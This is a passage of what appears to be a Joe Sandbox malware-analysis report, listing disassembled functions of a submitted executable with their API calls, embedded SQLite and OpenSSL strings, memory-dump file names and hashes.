FlsSetValue.KERNEL32(?,?,?,00007FF6B751A5A3,?,?,00000000,00007FF6B751A83E,?,?,?,?,?,00007FF6B751A7CA), ref: 00007FF6B751B3CE
FlsSetValue.KERNEL32(?,?,?,00007FF6B751A5A3,?,?,00000000,00007FF6B751A83E,?,?,?,?,?,00007FF6B751A7CA), ref: 00007FF6B751B3F6
FlsSetValue.KERNEL32(?,?,?,00007FF6B751A5A3,?,?,00000000,00007FF6B751A83E,?,?,?,?,?,00007FF6B751A7CA), ref: 00007FF6B751B407
FlsSetValue.KERNEL32(?,?,?,00007FF6B751A5A3,?,?,00000000,00007FF6B751A83E,?,?,?,?,?,00007FF6B751A7CA), ref: 00007FF6B751B418

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 6f944022d23edc1c4acf36ee41aa723466f994e0e1af3fb98e05b0010e79b0d5
Instruction ID: a25641608412af6962b6f90a1162dd7dc15549389ad82ead16ff0720a206439a
Opcode Fuzzy Hash: 6f944022d23edc1c4acf36ee41aa723466f994e0e1af3fb98e05b0010e79b0d5
Instruction Fuzzy Hash: 7D119622F0DA2241F9559B2E594117962925F44BB2F488334DB7EC6EF6DD2CF8418300

Function 00007FF6B751B224 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF6B751B235
FlsSetValue.KERNEL32 ref: 00007FF6B751B254
FlsSetValue.KERNEL32 ref: 00007FF6B751B27C
FlsSetValue.KERNEL32 ref: 00007FF6B751B28D
FlsSetValue.KERNEL32 ref: 00007FF6B751B29E

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: cf61fb6c00b1796c5bed08ecf7b6551a73a14dc995a044f45feadad5ae41d3ad
Instruction ID: 2261d46ceb3bc7d2e9bc78e71854b9d4c6a5248508228b0b8a68ee9704f7abe9
Opcode Fuzzy Hash: cf61fb6c00b1796c5bed08ecf7b6551a73a14dc995a044f45feadad5ae41d3ad
Instruction Fuzzy Hash: BF118E22E0D66341F9696B7E485117E12924F46B32F084B74DB7ECAEF3DD2DB8848301

Function 00007FFE01389750 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 288COMMON

Download Yara Rule

APIs

00007FFE1A463010.VCRUNTIME140(?,?,?,?,?,?,?,00000000,00000000,?,00000003,00000000,00007FFE01389F87,?,00000007,?), ref: 00007FFE01389917

Strings

column%d, xrefs: 00007FFE01389925
rowid, xrefs: 00007FFE013898A8
%.*z:%u, xrefs: 00007FFE013899E6

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID: %.*z:%u$column%d$rowid
API String ID: 4225454184-2903559916
Opcode ID: c8e9e9d0493b56702fc431c37cfc446078fd1101c4b736dc5a6e1eecc87d744d
Instruction ID: fa96f5bcb70cc9619ae51e05ecc22615c34c238de490e23d32b4f45f52ece4e5
Opcode Fuzzy Hash: c8e9e9d0493b56702fc431c37cfc446078fd1101c4b736dc5a6e1eecc87d744d
Instruction Fuzzy Hash: 37B19C22A1978285FF669B1594503BE6BA0EF85B98F4A4139DE5E0F7E5DF3CE805C300

Function 00007FF6B7515FA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7515FDC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7516106
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75161BC

Strings

verbose, xrefs: 00007FF6B7515FB0

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: f99eb74c11320d08b98c2a526d1315dc3e9ffcb2f44da47dced1f32cc0a6ef2f
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: AF91BC23A0CA6681FB618F28D45037E37A1EB40B96F854136DB5E83BE6DF3DE8458341

Function 00007FFE013985A0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 239COMMON

Download Yara Rule

APIs

00007FFE1A463010.VCRUNTIME140(?,?,?,?,00000080,?,?,?,00000000,00007FFE01398A6F), ref: 00007FFE01398739
00007FFE1A463010.VCRUNTIME140(?,?,?,?,00000080,?,?,?,00000000,00007FFE01398A6F), ref: 00007FFE013987BB
00007FFE1A463010.VCRUNTIME140(?,?,?,?,00000080,?,?,?,00000000,00007FFE01398A6F), ref: 00007FFE013988AD

Strings

RETURNING may not use "TABLE.*" wildcards, xrefs: 00007FFE01398621

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID: RETURNING may not use "TABLE.*" wildcards
API String ID: 4225454184-2313493979
Opcode ID: 17f7c90136fb561778db9ab3758a5a3b376a01926fa97c884be4e8f3c66a5517
Instruction ID: 74143dca9fb6ba3e254ad7b714f955f2d08801a91e535287899ccff2ee439e9c
Opcode Fuzzy Hash: 17f7c90136fb561778db9ab3758a5a3b376a01926fa97c884be4e8f3c66a5517
Instruction Fuzzy Hash: 84B18022A08B8586E720CF15D4402A97BA1FB96BE4F068375DEAD0B7E5DF3CE195C300

Function 00007FFE0134D3D0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 220COMMON

Download Yara Rule

APIs

00007FFE1A463010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFE01347847), ref: 00007FFE0134D52A
00007FFE1A463010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFE01347847), ref: 00007FFE0134D554
00007FFE1A463010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFE01347847), ref: 00007FFE0134D5A7

Strings

H, xrefs: 00007FFE0134D53E

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID: H
API String ID: 4225454184-2852464175
Opcode ID: cfbeda1bf99951151eff030447c4d7a4d5e89bf1fbf00df94b65fd72b816f457
Instruction ID: 44d90c02aedbc3b2e68c0eeb502d725a2ade8b52cbc61981a3cd81087135fa23
Opcode Fuzzy Hash: cfbeda1bf99951151eff030447c4d7a4d5e89bf1fbf00df94b65fd72b816f457
Instruction Fuzzy Hash: 1391BD72B1964187EB248E55A04077A77A0FBA4BA4F564635DFAD0BBE8CF3CF4408B00

Function 00007FF6B751FBC8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B751FEA7

Part of subcall function 00007FF6B7517A3C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7517A59

Strings

UTF-8, xrefs: 00007FF6B751FE26
UTF-16LEUNICODE, xrefs: 00007FF6B751FE45
ccs, xrefs: 00007FF6B751FDE2

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction ID: 3fc33de8bb598934345648d721c902761075629d5de7b4a27321690c4a03c39b
Opcode Fuzzy Hash: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction Fuzzy Hash: 7281D473E0E66385FBA49F2DC95027836A0AB11B4AF558535CB0AD7AF5CF2DED029301

Function 00007FFE013893F0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 198COMMON

Download Yara Rule

Strings

%s.%s, xrefs: 00007FFE0138956E
column%d, xrefs: 00007FFE013895F8
rowid, xrefs: 00007FFE0138954E

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID:
String ID: %s.%s$column%d$rowid
API String ID: 0-1505470444
Opcode ID: 30ee24403bbbe39b15dc8828bd75070d7d44f9a04dc3d048d0a1485fb1bb9eaf
Instruction ID: c2b7d12cfdd951f47a4b4b3f80096df34a2817c6fba12d64b491535a5cba8940
Opcode Fuzzy Hash: 30ee24403bbbe39b15dc8828bd75070d7d44f9a04dc3d048d0a1485fb1bb9eaf
Instruction Fuzzy Hash: 12918722A09B8285EB20DB15D4443BE67A4FB89BB8F464336DAAD4B7E5DF3CD441C300

Function 00007FFE013289A0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 192COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 00007FFE01328A66
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFE01328A4C
database corruption, xrefs: 00007FFE01328A5F

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 0-3727861699
Opcode ID: ac59a9cb4a734ac58b84e693e8c4ebf4f1f7077b93233f305f08416909222bbb
Instruction ID: f16ee2ca609366ee503a9389fc2aae530acb25968bb2cea18c858a21eccf3415
Opcode Fuzzy Hash: ac59a9cb4a734ac58b84e693e8c4ebf4f1f7077b93233f305f08416909222bbb
Instruction Fuzzy Hash: ED811A72B086D18AEB649B25D1806BEBBE0FB50B84F064176DB8E4B661CF3CE455C741

Function 00007FFE0078F070 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

00007FFE1FFB08A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFE0078F127

Strings

ssl_get_new_session, xrefs: 00007FFE0078F1D2, 00007FFE0078F30A
..\s\ssl\ssl_sess.c, xrefs: 00007FFE0078F0B2, 00007FFE0078F0DC, 00007FFE0078F19A, 00007FFE0078F1BE, 00007FFE0078F1DE, 00007FFE0078F316
SSL_SESSION_new, xrefs: 00007FFE0078F0D0, 00007FFE0078F18E

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: 00007
String ID: ..\s\ssl\ssl_sess.c$SSL_SESSION_new$ssl_get_new_session
API String ID: 3568877910-2527649602
Opcode ID: 81de3dcb5b9a74f6d10349495346cbec55276295be6eb05afdb2b4af8c059850
Instruction ID: fa2738c9ea9e3ace1e8355c00f1c945bf253654dd644681d0a7d540be36313b5
Opcode Fuzzy Hash: 81de3dcb5b9a74f6d10349495346cbec55276295be6eb05afdb2b4af8c059850
Instruction Fuzzy Hash: E1718D21B0AA8282EB54FB65D9543BD22A0FB84B84F5C4136DB5D5B7EEDF3CE9418301

Function 00007FFE00762469 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

00007FFE1A461250.VCRUNTIME140 ref: 00007FFE007BD776

Strings

D:\a\1\s\include\internal/packet.h, xrefs: 00007FFE007BD7AE, 00007FFE007BD7CF
..\s\ssl\statem\extensions_srvr.c, xrefs: 00007FFE007BD735, 00007FFE007BD79A, 00007FFE007BD802, 00007FFE007BD82F, 00007FFE007BD874
tls_parse_ctos_server_name, xrefs: 00007FFE007BD729, 00007FFE007BD785, 00007FFE007BD7F6, 00007FFE007BD823, 00007FFE007BD868

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: 00007A461250
String ID: ..\s\ssl\statem\extensions_srvr.c$D:\a\1\s\include\internal/packet.h$tls_parse_ctos_server_name
API String ID: 909805961-4157686371
Opcode ID: df7c5cc1c5450ab236299e71f02084b029a770e3f54b11b68fceadd1af193070
Instruction ID: c5901cbfc20cf75062b2a2e5b7388a700d6a7dff1ef71f7ab063648b7ca29363
Opcode Fuzzy Hash: df7c5cc1c5450ab236299e71f02084b029a770e3f54b11b68fceadd1af193070
Instruction Fuzzy Hash: 7461D321F0EA9681F771BB61D4007B96391EF85B84F4C4132DB8D57BAEEE6CE9908700

Function 00007FF6B750D648 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6B750D673
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6B750D70A
RtlUnwindEx.KERNEL32 ref: 00007FF6B750D764

Strings

csm, xrefs: 00007FF6B750D6F1

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction ID: 2a6e29ca6118db7ebf224c583c939c08d5583424a0c3414f13170ac969fe1405
Opcode Fuzzy Hash: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction Fuzzy Hash: 1A518B77A1D7428AEB248B19E448B787391EB44B98F518134EB4EC77A8EF7DE841D700

Function 00007FFE0133C5E7 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 149COMMON

Download Yara Rule

APIs

00007FFE1A463010.VCRUNTIME140 ref: 00007FFE0133C72D
00007FFE1A463010.VCRUNTIME140 ref: 00007FFE0133C746

Strings

out of memory, xrefs: 00007FFE01342478
string or blob too big, xrefs: 00007FFE01342103

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID: out of memory$string or blob too big
API String ID: 4225454184-2410398255
Opcode ID: 32c2ae49c0d43b0bf73bf14441e4c9b52f205afacfc25aad9bb6812841d0f57a
Instruction ID: 4133e15473d5bd79377da8d0d471b2516140e1ae38c902949b9c79103d0ec66a
Opcode Fuzzy Hash: 32c2ae49c0d43b0bf73bf14441e4c9b52f205afacfc25aad9bb6812841d0f57a
Instruction Fuzzy Hash: C361BE66B0869282E7149B26E14027EA7A0FF45F94F164036EF8D1BBB9CF3CE4529714

Function 00007FF6B750EED8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF6B750EF37
_CallSETranslator.LIBVCRUNTIME ref: 00007FF6B750EF83

Strings

MOC, xrefs: 00007FF6B750EF4B
RCC, xrefs: 00007FF6B750EF53

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction ID: 0dca6f276b202735388ca35439d1dfa12fd42c77ab39edb388c470d84faeb9dd
Opcode Fuzzy Hash: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction Fuzzy Hash: D361813390CBC585DB709B19E4407AAB7A0FB85798F144225EB9D83BA9DF7CD190CB00

Function 00007FF6B750F288 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6B750F2B0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF6B750F398

Strings

csm, xrefs: 00007FF6B750F2D2
csm, xrefs: 00007FF6B750F3EA

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction ID: 347cc6605aa26888af7f23de5ebe77f6d11b9cd7a242246b2218f23e557e36dd
Opcode Fuzzy Hash: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction Fuzzy Hash: FF516C73A0C3868AEB648B299854A6877A0FB55B98F144136DB8D87BE5CF3CE451C701

Function 00007FFE01308417 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

00007FFE1A463010.VCRUNTIME140 ref: 00007FFE013084C8
00007FFE1A463010.VCRUNTIME140 ref: 00007FFE0130854E

Strings

(subquery-%u), xrefs: 00007FFE01308570
(join-%u), xrefs: 00007FFE01308559

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID: (join-%u)$(subquery-%u)
API String ID: 4225454184-2916047017
Opcode ID: e4b271abe33ea453b0af829f0d0b3c64b2499140cc847aae9644bee38be7c82c
Instruction ID: 3172d41a05741d463bc46c4202d3170ff758164c5e920864c888d59cc0cec051
Opcode Fuzzy Hash: e4b271abe33ea453b0af829f0d0b3c64b2499140cc847aae9644bee38be7c82c
